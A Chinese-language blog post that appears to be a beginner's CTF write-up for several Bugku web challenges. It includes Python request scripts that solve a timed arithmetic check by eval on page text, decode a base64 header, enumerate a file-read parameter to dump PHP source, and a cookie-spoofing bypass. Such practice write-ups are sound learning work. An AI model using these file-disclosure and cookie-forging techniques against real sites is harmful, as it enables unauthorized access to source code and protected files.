(還有坑沒填好)
最近在刷bugku 感覺對新手還是挺友好的,同時也能學到不少東西,每日更新幾題準備記錄的吧(這次基本是腳本題)
秋名山老司機
親請在2s內計算老司機的車速是多少(最基本的腳本題???)
這題很多平臺上都有,腳本必練:request庫,re庫
一開始不知道哪裏傳值,但是post一個數據後就會有提示的,發現要post一個value參數
import requests
import re
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
data1=re.findall(r'</p>\n<div>[\s\+\*-\?;]+</div>',r.text)
data2=''.join(data1) #把data1的list轉爲string類型
num=eval(data2.lstrip('</p>\n<div>').rstrip('=?;</div>'))
# print(str(num)) 測試一下
r=s.post(url,data={'value':num})#post一個value進去
r.encoding='utf-8'
print(r.text)
我這個(正則)寫的挺糟糕的,不過夠用= =
# 網上師傅寫的,學習(正則啊!!)
import requests
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'(\d+[+\-*])+(\d+)', r.text)
d = {
"value": eval(searchObj.group(0))
}
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text)
跑出flag
sess = requests.Session( )
requests庫的session會話對象可以跨請求保持某些參數,說白了,就是比如你使用session成功的登錄了某個網站,則在再次使用該session對象請求該網站的其他網頁都會默認使用該session之前使用的cookie等參數
速度要快
我的好像不夠快???怎麼跑不出來啊555先留個坑
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.Session()
r = requests.get(url)
flag = r.headers['flag'] # headers是個字典
flag = base64.b64decode(flag)
flag = flag.decode('utf-8')[-8:]
#print(flag)
flag = base64.b64decode(flag).decode('utf-8')
#print(flag)
r = s.post(url, data={'margin': flag})
print(r.text)
# 網上瞟的
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin": key}
print(s.post(url,data=payload).text)
cookies欺騙
一串可疑base64,解碼:keys.txt
然後訪問了一下文件:rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry
好像沒啥用的
(其實是發現filename=keys.txt時會顯示內容,所以我們傳入新的filename=index.php,base64加密後爲aW5kZXgucGhw,再嘗試line=1,2…)腳本把所有內容都爆破出來。。。(這個腦洞我沒想到,不過我發現這個還挺常見的腦洞)
import requests
for id in range(1,100):
url = 'http://123.206.87.240:8002/web11/index.php?line=' + str(id) + '&filename=aW5kZXgucGhw'
r=requests.get(url)
print(r.text)
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
傳入cookie:margin=margin,查看源碼即可